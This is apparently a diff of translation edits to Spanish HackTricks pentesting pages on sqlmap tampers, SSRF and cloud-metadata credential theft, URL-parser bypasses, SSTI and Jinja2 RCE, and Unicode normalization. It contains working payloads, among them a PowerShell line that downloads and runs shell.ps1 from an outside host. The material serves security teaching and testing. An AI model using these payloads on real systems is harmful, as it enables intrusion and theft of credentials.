| space2morehash.py | Reemplaza el carácter de espacio \(' '\) con un carácter de libra \('\#'\) seguido de una cadena aleatoria y una nueva línea \('\n'\) |
|
||||
| space2mssqlblank.py | Reemplaza el carácter de espacio \(' '\) con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos |
|
||||
| space2mssqlhash.py | Reemplaza el carácter de espacio \(' '\) con un carácter de libra \('\#'\) seguido de una nueva línea \('\n'\) |
|
||||
| space2mysqlblank.py | Reemplaza el carácter de espacio \(' '\) con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos |
|
||||
| space2mysqldash.py | Reemplaza el carácter de espacio \(' '\) con un comentario de guion \('--'\) seguido de una nueva línea \('\n'\) |
|
||||
| space2plus.py | Reemplaza el carácter de espacio \(' '\) con un más \('+'\) |
|
||||
| space2randomblank.py | Reemplaza el carácter de espacio \(' '\) con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos |
|
||||
| space2mssqlblank.py | Reemplaza el carácter de espacio \(' '\) con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos |
|
||||
| space2mssqlhash.py | Reemplaza el carácter de espacio \(' '\) con un carácter de libra \('\#'\) seguido de una nueva línea \('\n'\) |
|
||||
| space2mysqlblank.py | Reemplaza el carácter de espacio \(' '\) con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos |
|
||||
| space2mysqldash.py | Reemplaza el carácter de espacio \(' '\) con un comentario de guion \('--'\) seguido de una nueva línea \('\n'\) |
|
||||
| space2plus.py | Reemplaza el carácter de espacio \(' '\) con un más \('+'\) |
|
||||
| space2randomblank.py | Reemplaza el carácter de espacio \(' '\) con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos |
|
||||
| symboliclogical.py | Reemplaza los operadores lógicos AND y OR con sus contrapartes simbólicas \(&& y |
|
||||
| unionalltounion.py | Reemplaza UNION ALL SELECT con UNION SELECT |
|
||||
| unionalltounion.py | Reemplaza UNION ALL SELECT con UNION SELECT |
|
||||
| unmagicquotes.py | Reemplaza el carácter de comillas \('\) con una combinación de múltiples bytes %bf%27 junto con un comentario genérico al final \(para que funcione\) |
|
||||
| uppercase.py | Reemplaza cada carácter de palabra clave con el valor en mayúsculas 'INSERT' |
|
||||
| varnish.py | Agrega un encabezado HTTP 'X-originating-IP' |
|
||||
| versionedkeywords.py | Envuelve cada palabra clave no funcional con un comentario de MySQL versionado |
|
||||
| versionedmorekeywords.py | Envuelve cada palabra clave con un comentario de MySQL versionado |
|
||||
| xforwardedfor.py | Agrega un encabezado HTTP falso 'X-Forwarded-For' |
|
||||
| uppercase.py | Reemplaza cada carácter de palabra clave con el valor en mayúsculas 'INSERT' |
|
||||
| varnish.py | Agrega un encabezado HTTP 'X-originating-IP' |
|
||||
| versionedkeywords.py | Envuelve cada palabra clave no funcional con un comentario de MySQL versionado |
|
||||
| versionedmorekeywords.py | Envuelve cada palabra clave con un comentario de MySQL versionado |
|
||||
| xforwardedfor.py | Agrega un encabezado HTTP falso 'X-Forwarded-For' |
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -151,8 +151,8 @@ Recuerda que **puedes crear tu propio tamper en python** y es muy simple. Puedes
|
||||
| commalessmid.py | Reemplaza instancias como 'MID(A, B, C)' con 'MID(A FROM B FOR C)' |
|
||||
| concat2concatws.py | Reemplaza instancias como 'CONCAT(A, B)' con 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||
| charencode.py | Codifica en URL todos los caracteres en una carga útil dada (sin procesar los ya codificados) |
|
||||
| charunicodeencode.py | Codifica en URL unicode los caracteres no codificados en una carga útil dada (sin procesar los ya codificados). "%u0022" |
|
||||
| charunicodeescape.py | Codifica en URL unicode los caracteres no codificados en una carga útil dada (sin procesar los ya codificados). "\u0022" |
|
||||
| charunicodeencode.py | Codifica en URL unicode los caracteres no codificados en una carga útil dada (sin procesar los ya codificados). "%u0022" |
|
||||
| charunicodeescape.py | Codifica en URL unicode los caracteres no codificados en una carga útil dada (sin procesar los ya codificados). "\u0022" |
|
||||
| equaltolike.py | Reemplaza todas las ocurrencias del operador igual ('=') con el operador 'LIKE' |
|
||||
| escapequotes.py | Escapa las comillas (' y ") |
|
||||
| greatest.py | Reemplaza el operador mayor que ('>') con su contraparte 'GREATEST' |
|
||||
@ -166,16 +166,16 @@ Recuerda que **puedes crear tu propio tamper en python** y es muy simple. Puedes
|
||||
| overlongutf8.py | Convierte todos los caracteres en una carga útil dada (sin procesar los ya codificados) |
|
||||
| randomcase.py | Reemplaza cada carácter de palabra clave con un valor de caso aleatorio |
|
||||
| randomcomments.py | Agrega comentarios aleatorios a las palabras clave SQL |
|
||||
| securesphere.py | Agrega una cadena especialmente elaborada |
|
||||
| sp_password.py | Agrega 'sp_password' al final de la carga útil para ofuscación automática de los registros de DBMS |
|
||||
| space2comment.py | Reemplaza el carácter de espacio (' ') con comentarios |
|
||||
| securesphere.py | Agrega una cadena especialmente elaborada |
|
||||
| sp_password.py | Agrega 'sp_password' al final de la carga útil para la ofuscación automática de los registros de DBMS |
|
||||
| space2comment.py | Reemplaza el carácter de espacio (' ') con comentarios |
|
||||
| space2dash.py | Reemplaza el carácter de espacio (' ') con un comentario de guion ('--') seguido de una cadena aleatoria y una nueva línea ('\n') |
|
||||
| space2hash.py | Reemplaza el carácter de espacio (' ') con un carácter de libra ('#') seguido de una cadena aleatoria y una nueva línea ('\n') |
|
||||
| space2morehash.py | Reemplaza el carácter de espacio (' ') con un carácter de libra ('#') seguido de una cadena aleatoria y una nueva línea ('\n') |
|
||||
| space2mssqlblank.py | Reemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos |
|
||||
| space2mssqlhash.py | Reemplaza el carácter de espacio (' ') con un carácter de libra ('#') seguido de una nueva línea ('\n') |
|
||||
| space2mysqlblank.py | Reemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos |
|
||||
| space2mysqldash.py | Reemplaza el carácter de espacio (' ') con un comentario de guion ('--') seguido de una nueva línea ('\n') |
|
||||
| space2mysqldash.py | Reemplaza el carácter de espacio (' ') con un comentario de guion ('--') seguido de una nueva línea ('\n') |
|
||||
| space2plus.py | Reemplaza el carácter de espacio (' ') con un más ('+') |
|
||||
| space2randomblank.py | Reemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos |
|
||||
| symboliclogical.py | Reemplaza los operadores lógicos AND y OR con sus contrapartes simbólicas (&& y |
|
||||
@ -183,7 +183,7 @@ Recuerda que **puedes crear tu propio tamper en python** y es muy simple. Puedes
|
||||
| unmagicquotes.py | Reemplaza el carácter de comillas (') con una combinación de múltiples bytes %bf%27 junto con un comentario genérico al final (para que funcione) |
|
||||
| uppercase.py | Reemplaza cada carácter de palabra clave con el valor en mayúsculas 'INSERT' |
|
||||
| varnish.py | Agrega un encabezado HTTP 'X-originating-IP' |
|
||||
| versionedkeywords.py | Envuelve cada palabra clave no funcional con un comentario de MySQL versionado |
|
||||
| versionedkeywords.py | Envuelve cada palabra clave no funcional con un comentario de MySQL versionado |
|
||||
| versionedmorekeywords.py | Envuelve cada palabra clave con un comentario de MySQL versionado |
|
||||
| xforwardedfor.py | Agrega un encabezado HTTP falso 'X-Forwarded-For' |
|
||||
|
||||
|
||||
@ -129,11 +129,11 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
|
||||
|
||||
## SSRF con Inyección de Comandos
|
||||
|
||||
Puede valer la pena probar una carga útil como: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
|
||||
Podría valer la pena probar una carga útil como: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
|
||||
|
||||
## Renderización de PDFs
|
||||
|
||||
Si la página web está creando automáticamente un PDF con alguna información que has proporcionado, puedes **insertar algo de JS que será ejecutado por el creador del PDF** (el servidor) mientras se crea el PDF y podrás abusar de un SSRF. [**Encuentra más información aquí**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
||||
Si la página web está creando automáticamente un PDF con alguna información que has proporcionado, puedes **insertar algún JS que será ejecutado por el creador de PDF** (el servidor) mientras se crea el PDF y podrás abusar de un SSRF. [**Encuentra más información aquí**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
||||
|
||||
## De SSRF a DoS
|
||||
|
||||
@ -149,7 +149,7 @@ Consulta la siguiente página para funciones PHP vulnerables e incluso funciones
|
||||
|
||||
## Redirección SSRF a Gopher
|
||||
|
||||
Para algunas explotaciones, es posible que necesites **enviar una respuesta de redirección** (potencialmente para usar un protocolo diferente como gopher). Aquí tienes diferentes códigos en python para responder con una redirección:
|
||||
Para algunas explotaciones, podrías necesitar **enviar una respuesta de redirección** (potencialmente para usar un protocolo diferente como gopher). Aquí tienes diferentes códigos en python para responder con una redirección:
|
||||
```python
|
||||
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
|
||||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||
|
||||
@ -11,9 +11,9 @@
|
||||
Hay **2 versiones** del endpoint de metadatos. La **primera** permite **acceder** al endpoint a través de solicitudes **GET** (por lo que cualquier **SSRF puede explotarlo**). Para la **versión 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), necesitas solicitar un **token** enviando una solicitud **PUT** con un **encabezado HTTP** y luego usar ese token para acceder a los metadatos con otro encabezado HTTP (por lo que es **más complicado de abusar** con un SSRF).
|
||||
|
||||
> [!CAUTION]
|
||||
> Ten en cuenta que si la instancia EC2 está aplicando IMDSv2, [**según la documentación**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **respuesta de la solicitud PUT** tendrá un **límite de salto de 1**, lo que hace imposible acceder a los metadatos de EC2 desde un contenedor dentro de la instancia EC2.
|
||||
> Ten en cuenta que si la instancia EC2 está aplicando IMDSv2, [**según la documentación**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **respuesta de la solicitud PUT** tendrá un **límite de salto de 1**, haciendo imposible acceder a los metadatos de EC2 desde un contenedor dentro de la instancia EC2.
|
||||
>
|
||||
> Además, **IMDSv2** también **bloqueará las solicitudes para obtener un token que incluyan el encabezado `X-Forwarded-For`**. Esto es para evitar que proxies inversos mal configurados puedan acceder a él.
|
||||
> Además, **IMDSv2** también **bloqueará las solicitudes para obtener un token que incluyan el encabezado `X-Forwarded-For`**. Esto es para prevenir que proxies inversos mal configurados puedan acceder a él.
|
||||
|
||||
Puedes encontrar información sobre los [endpoints de metadatos en la documentación](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). En el siguiente script se obtiene información interesante de él:
|
||||
```bash
|
||||
@ -79,7 +79,7 @@ Como un **ejemplo expuesto de credenciales IAM disponibles públicamente**, pued
|
||||
|
||||
También puedes verificar **credenciales de seguridad EC2 públicas** en: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
|
||||
Luego puedes tomar **esas credenciales y usarlas con el AWS CLI**. Esto te permitirá hacer **cualquier cosa que ese rol tenga permiso** para hacer.
|
||||
Luego puedes tomar **esas credenciales y usarlas con el AWS CLI**. Esto te permitirá hacer **cualquier cosa que ese rol tenga permisos** para hacer.
|
||||
|
||||
Para aprovechar las nuevas credenciales, necesitarás crear un nuevo perfil de AWS como este:
|
||||
```
|
||||
@ -94,7 +94,7 @@ Nota el **aws_session_token**, esto es indispensable para que el perfil funcione
|
||||
|
||||
### SSRF en credenciales de AWS ECS (Servicio de Contenedores)
|
||||
|
||||
**ECS** es un grupo lógico de instancias de EC2 en el que puedes ejecutar una aplicación sin tener que escalar tu propia infraestructura de gestión de clústeres porque ECS gestiona eso por ti. Si logras comprometer un servicio que se ejecuta en **ECS**, los **puntos finales de metadatos cambian**.
|
||||
**ECS** es un grupo lógico de instancias EC2 en el que puedes ejecutar una aplicación sin tener que escalar tu propia infraestructura de gestión de clústeres porque ECS gestiona eso por ti. Si logras comprometer un servicio que se ejecuta en **ECS**, los **puntos finales de metadatos cambian**.
|
||||
|
||||
Si accedes a _**http://169.254.170.2/v2/credentials/\<GUID>**_ encontrarás las credenciales de la máquina ECS. Pero primero necesitas **encontrar el \<GUID>**. Para encontrar el \<GUID> necesitas leer la variable **environ** **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** dentro de la máquina.\
|
||||
Podrías ser capaz de leerlo explotando un **Path Traversal** a `file:///proc/self/environ`\
|
||||
@ -137,17 +137,17 @@ Luego usamos las credenciales con `aws s3 ls s3://elasticbeanstalk-us-east-2-[AC
|
||||
|
||||
## GCP <a href="#id-6440" id="id-6440"></a>
|
||||
|
||||
Puedes [**encontrar aquí la documentación sobre los endpoints de metadatos**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
|
||||
Puedes [**encontrar aquí la documentación sobre los puntos finales de metadatos**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
|
||||
|
||||
### URL SSRF para Google Cloud <a href="#id-6440" id="id-6440"></a>
|
||||
|
||||
Requiere el encabezado HTTP **`Metadata-Flavor: Google`** y puedes acceder al endpoint de metadatos con las siguientes URLs:
|
||||
Requiere el encabezado HTTP **`Metadata-Flavor: Google`** y puedes acceder al punto final de metadatos con las siguientes URL:
|
||||
|
||||
- http://169.254.169.254
|
||||
- http://metadata.google.internal
|
||||
- http://metadata
|
||||
|
||||
Endpoints interesantes para extraer información:
|
||||
Puntos finales interesantes para extraer información:
|
||||
```bash
|
||||
# /project
|
||||
# Project name and number
|
||||
@ -299,7 +299,7 @@ done
|
||||
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
|
||||
> [!WARNING]
|
||||
> No hay cosas como AWS Roles o cuentas de servicio de GCP, así que no esperes encontrar credenciales de bot de metadatos
|
||||
> No existen cosas como AWS Roles o cuentas de servicio de GCP, así que no esperes encontrar credenciales de bot de metadatos
|
||||
|
||||
Documentación disponible en [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
||||
```
|
||||
@ -323,11 +323,11 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
- No debe **contener** un encabezado `X-Forwarded-For`
|
||||
|
||||
> [!TIP]
|
||||
> Una Azure VM puede tener adjunta 1 identidad administrada por el sistema y varias identidades administradas por el usuario. Lo que básicamente significa que puedes **suplantar todas las identidades administradas adjuntas a una VM**.
|
||||
> Una Azure VM puede tener 1 identidad administrada por el sistema y varias identidades administradas por el usuario. Lo que básicamente significa que puedes **suplantar todas las identidades administradas adjuntas a una VM**.
|
||||
>
|
||||
> Por **defecto**, el punto final de metadatos utilizará la **MI asignada por el sistema (si la hay)**.
|
||||
>
|
||||
> Desafortunadamente, no pude encontrar ningún punto final de metadatos que indique todas las MIs que tiene adjunta una VM.
|
||||
> Desafortunadamente, no pude encontrar ningún punto final de metadatos que indique todas las MIs que tiene una VM adjuntas.
|
||||
>
|
||||
> Por lo tanto, para encontrar todas las MIs adjuntas puedes hacer:
|
||||
>
|
||||
@ -593,7 +593,7 @@ Oracle Cloud proporciona una serie de puntos finales para acceder a varios aspec
|
||||
|
||||
## Alibaba
|
||||
|
||||
Alibaba ofrece puntos finales para acceder a metadatos, incluidos los IDs de instancia e imagen:
|
||||
Alibaba ofrece puntos finales para acceder a metadatos, incluidos los ID de instancia e imagen:
|
||||
|
||||
- `http://100.100.100.200/latest/meta-data/`
|
||||
- `http://100.100.100.200/latest/meta-data/instance-id`
|
||||
|
||||
@ -79,7 +79,7 @@ spoofed.burpcollaborator.net = 127.0.0.1
|
||||
|
||||
La **extensión de Burp** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implementa bypasses de formato de IP.
|
||||
|
||||
### Analizador de dominios
|
||||
### Analizador de Dominio
|
||||
```bash
|
||||
https:attacker.com
|
||||
https:/attacker.com
|
||||
@ -196,7 +196,7 @@ El _truco de barra invertida_ explota una diferencia entre el [WHATWG URL Standa
|
||||
|
||||
### Corchete cuadrado izquierdo
|
||||
|
||||
El carácter “corchete cuadrado izquierdo” `[` en el segmento de información del usuario puede hacer que UriComponentsBuilder de Spring devuelva un valor de nombre de host que difiere de los navegadores: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
||||
El carácter “corchete cuadrado izquierdo” `[` en el segmento de información del usuario puede hacer que el UriComponentsBuilder de Spring devuelva un valor de nombre de host que difiere de los navegadores: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
||||
|
||||
### Otras Confusiones
|
||||
|
||||
|
||||
@ -26,9 +26,9 @@ Para prevenir vulnerabilidades de inyección de plantillas del lado del servidor
|
||||
Para detectar la Inyección de Plantillas del Lado del Servidor (SSTI), inicialmente, **fuzzing de la plantilla** es un enfoque sencillo. Esto implica inyectar una secuencia de caracteres especiales (**`${{<%[%'"}}%\`**) en la plantilla y analizar las diferencias en la respuesta del servidor a datos regulares frente a este payload especial. Los indicadores de vulnerabilidad incluyen:
|
||||
|
||||
- Errores lanzados, revelando la vulnerabilidad y potencialmente el motor de plantillas.
|
||||
- Ausencia del payload en la reflexión, o partes de él faltando, lo que implica que el servidor lo procesa de manera diferente a los datos regulares.
|
||||
- Ausencia del payload en la reflexión, o partes de él faltantes, lo que implica que el servidor lo procesa de manera diferente a los datos regulares.
|
||||
- **Contexto de Texto Plano**: Distinguir de XSS verificando si el servidor evalúa expresiones de plantilla (por ejemplo, `{{7*7}}`, `${7*7}`).
|
||||
- **Contexto de Código**: Confirmar la vulnerabilidad alterando parámetros de entrada. Por ejemplo, cambiar `greeting` en `http://vulnerable-website.com/?greeting=data.username` para ver si la salida del servidor es dinámica o fija, como en `greeting=data.username}}hello` devolviendo el nombre de usuario.
|
||||
- **Contexto de Código**: Confirmar la vulnerabilidad alterando los parámetros de entrada. Por ejemplo, cambiando `greeting` en `http://vulnerable-website.com/?greeting=data.username` para ver si la salida del servidor es dinámica o fija, como en `greeting=data.username}}hello` devolviendo el nombre de usuario.
|
||||
|
||||
#### Fase de Identificación
|
||||
|
||||
@ -204,7 +204,7 @@ el-expression-language.md
|
||||
```
|
||||
**Eludir filtros**
|
||||
|
||||
Se pueden usar múltiples expresiones de variables, si `${...}` no funciona, prueba `#{...}`, `*{...}`, `@{...}` o `~{...}`.
|
||||
Se pueden usar múltiples expresiones de variable; si `${...}` no funciona, prueba `#{...}`, `*{...}`, `@{...}` o `~{...}`.
|
||||
|
||||
- Leer `/etc/passwd`
|
||||
```java
|
||||
@ -387,7 +387,7 @@ el-expression-language.md
|
||||
|
||||
### Groovy (Java)
|
||||
|
||||
Las siguientes elusiones del Security Manager se tomaron de este [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
||||
Las siguientes elusiones del Security Manager fueron tomadas de este [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
||||
```java
|
||||
//Basic Payload
|
||||
import groovy.*;
|
||||
@ -594,7 +594,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
||||
|
||||
<figure><img src="../../images/image (6).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg</a></p></figcaption></figure>
|
||||
|
||||
- Más info en [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
- Más información en [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
### Jade (NodeJS)
|
||||
```javascript
|
||||
@ -923,7 +923,7 @@ El método .NET `System.Diagnostics.Process.Start` se puede usar para iniciar cu
|
||||
- `<%= 7*7 %>` = 49
|
||||
- `<%= "foo" %>` = foo
|
||||
- `<%= foo %>` = Nada
|
||||
- `<%= response.write(date()) %>` = \<Date>
|
||||
- `<%= response.write(date()) %>` = \<Fecha>
|
||||
```xml
|
||||
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
|
||||
```
|
||||
|
||||
@ -67,7 +67,7 @@ Nota cómo en el ejemplo anterior el término `{5*5}` fue **evaluado**.
|
||||
|
||||
## **Tutorial basado en CVE**
|
||||
|
||||
Consúltalo en **esta publicación:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
|
||||
Revísalo en **esta publicación:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
|
||||
|
||||
## Payloads
|
||||
|
||||
|
||||
@ -159,7 +159,7 @@ La llamada a `__subclasses__` nos ha dado la oportunidad de **acceder a cientos
|
||||
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
|
||||
|
||||
```
|
||||
Para aprender sobre **más clases** que puedes usar para **escapar** puedes **consultar**:
|
||||
Para aprender sobre **más clases** que puedes usar para **escapar**, puedes **consultar**:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||
@ -250,7 +250,7 @@ Sin **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
||||
Desde los [**objetos globales**](jinja2-ssti.md#accessing-global-objects) hay otra forma de llegar a **RCE sin usar esa clase.**\
|
||||
Si logras acceder a alguna **función** de esos objetos globales, podrás acceder a **`__globals__.__builtins__`** y desde allí el **RCE** es muy **sencillo**.
|
||||
|
||||
Puedes **encontrar funciones** de los objetos **`request`**, **`config`** y cualquier **otro** **objeto global** interesante al que tengas acceso con:
|
||||
Puedes **encontrar funciones** en los objetos **`request`**, **`config`** y cualquier **otro** **objeto global** interesante al que tengas acceso con:
|
||||
```bash
|
||||
{{ request.__class__.__dict__ }}
|
||||
- application
|
||||
@ -322,7 +322,7 @@ The request will be urlencoded by default according to the HTTP format, which ca
|
||||
## Referencias
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
- Ver [truco de attr para eludir caracteres en la lista negra aquí](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
||||
- Ver [attr trick para eludir caracteres en la lista negra aquí](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
||||
- [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
|
||||
- [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
||||
|
||||
|
||||
@ -29,8 +29,8 @@ En la misma investigación, se compartió que la técnica de temporización era
|
||||
Una vez que se descubre un proxy abierto con alcance, fue posible encontrar objetivos válidos analizando subdominios conocidos del objetivo y esto permitió:
|
||||
|
||||
- **Eludir cortafuegos** accediendo a subdominios restringidos a través del **proxy abierto** en lugar de a través de Internet.
|
||||
- Además, abusar de un **proxy abierto** también es posible para **descubrir nuevos subdominios solo accesibles internamente.**
|
||||
- **Ataques de suplantación de Front-End**: Los servidores de front-end normalmente añaden encabezados para el backend como `X-Forwarded-For` o `X-Real-IP`. Los proxies abiertos que reciben estos encabezados los añadirán al endpoint solicitado, por lo tanto, un atacante podría acceder a aún más dominios internos al añadir estos encabezados con valores en la lista blanca.
|
||||
- Además, abusar de un **proxy abierto** también es posible **descubrir nuevos subdominios solo accesibles internamente.**
|
||||
- **Ataques de suplantación de Front-End**: Los servidores de front-end normalmente añaden encabezados para el backend como `X-Forwarded-For` o `X-Real-IP`. Los proxies abiertos que reciben estos encabezados los añadirán al punto final solicitado, por lo tanto, un atacante podría acceder a aún más dominios internos al añadir estos encabezados con valores en la lista blanca.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -42,7 +42,7 @@ $str = iconv("UTF-8", "ASCII//TRANSLIT", $str);
|
||||
|
||||
echo "String: " . $str;
|
||||
```
|
||||
Listas de emojis:
|
||||
Listas de Emoji:
|
||||
|
||||
- [https://github.com/iorch/jakaton_feminicidios/blob/master/data/emojis.csv](https://github.com/iorch/jakaton_feminicidios/blob/master/data/emojis.csv)
|
||||
- [https://unicode.org/emoji/charts-14.0/full-emoji-list.html](https://unicode.org/emoji/charts-14.0/full-emoji-list.html)
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Este es un resumen de:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Echa un vistazo para más detalles (imágenes tomadas de allí).
|
||||
**Este es un resumen de:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Consulta para más detalles (imágenes tomadas de allí).
|
||||
|
||||
## Entendiendo Unicode y Normalización
|
||||
|
||||
@ -11,11 +11,11 @@ La normalización de Unicode es un proceso que asegura que diferentes representa
|
||||
1. **Equivalencia Canónica**: Los caracteres se consideran canónicamente equivalentes si tienen la misma apariencia y significado cuando se imprimen o muestran.
|
||||
2. **Equivalencia de Compatibilidad**: Una forma más débil de equivalencia donde los caracteres pueden representar el mismo carácter abstracto pero pueden mostrarse de manera diferente.
|
||||
|
||||
Hay **cuatro algoritmos de normalización de Unicode**: NFC, NFD, NFKC y NFKD. Cada algoritmo emplea técnicas de normalización canónica y de compatibilidad de manera diferente. Para una comprensión más profunda, puedes explorar estas técnicas en [Unicode.org](https://unicode.org/).
|
||||
Existen **cuatro algoritmos de normalización de Unicode**: NFC, NFD, NFKC y NFKD. Cada algoritmo emplea técnicas de normalización canónica y de compatibilidad de manera diferente. Para una comprensión más profunda, puedes explorar estas técnicas en [Unicode.org](https://unicode.org/).
|
||||
|
||||
### Puntos Clave sobre la Codificación Unicode
|
||||
### Puntos Clave sobre la Codificación de Unicode
|
||||
|
||||
Entender la codificación Unicode es fundamental, especialmente al tratar con problemas de interoperabilidad entre diferentes sistemas o lenguajes. Aquí están los puntos principales:
|
||||
Entender la codificación de Unicode es fundamental, especialmente al tratar con problemas de interoperabilidad entre diferentes sistemas o lenguajes. Aquí están los puntos principales:
|
||||
|
||||
- **Puntos de Código y Caracteres**: En Unicode, a cada carácter o símbolo se le asigna un valor numérico conocido como "punto de código".
|
||||
- **Representación en Bytes**: El punto de código (o carácter) se representa mediante uno o más bytes en memoria. Por ejemplo, los caracteres LATIN-1 (comunes en países de habla inglesa) se representan utilizando un byte. Sin embargo, los idiomas con un conjunto más grande de caracteres necesitan más bytes para su representación.
|
||||
@ -43,7 +43,7 @@ Otro **ejemplo**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%
|
||||
|
||||
Imagina una página web que está utilizando el carácter `'` para crear consultas SQL con la entrada del usuario. Esta web, como medida de seguridad, **elimina** todas las ocurrencias del carácter **`'`** de la entrada del usuario, pero **después de esa eliminación** y **antes de la creación** de la consulta, **normaliza** usando **Unicode** la entrada del usuario.
|
||||
|
||||
Entonces, un usuario malicioso podría insertar un carácter Unicode diferente equivalente a `' (0x27)` como `%ef%bc%87`, cuando la entrada se normaliza, se crea una comilla simple y aparece una **vulnerabilidad de SQL Injection**:
|
||||
Entonces, un usuario malicioso podría insertar un carácter Unicode diferente equivalente a `' (0x27)` como `%ef%bc%87`, cuando la entrada se normaliza, se crea una comilla simple y aparece una **vulnerabilidad de inyección SQL**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -83,15 +83,15 @@ Puedes usar uno de los siguientes caracteres para engañar a la webapp y explota
|
||||
|
||||
 (2).png>)
|
||||
|
||||
Ten en cuenta que, por ejemplo, el primer carácter Unicode propuesto puede enviarse como: `%e2%89%ae` o como `%u226e`
|
||||
Ten en cuenta que, por ejemplo, el primer carácter Unicode propuesto puede ser enviado como: `%e2%89%ae` o como `%u226e`
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
### Fuzzing Regexes
|
||||
|
||||
Cuando el backend está **verificando la entrada del usuario con una regex**, puede ser posible que la **entrada** esté siendo **normalizada** para la **regex** pero **no** para donde se está **usando**. Por ejemplo, en un Open Redirect o SSRF, la regex podría estar **normalizando la URL enviada** pero luego **accediéndola tal como está**.
|
||||
Cuando el backend está **verificando la entrada del usuario con una regex**, puede ser posible que la **entrada** esté siendo **normalizada** para la **regex** pero **no** para donde se está **usando**. Por ejemplo, en un Open Redirect o SSRF, la regex podría estar **normalizando la URL enviada** pero luego **accediendo a ella tal como está**.
|
||||
|
||||
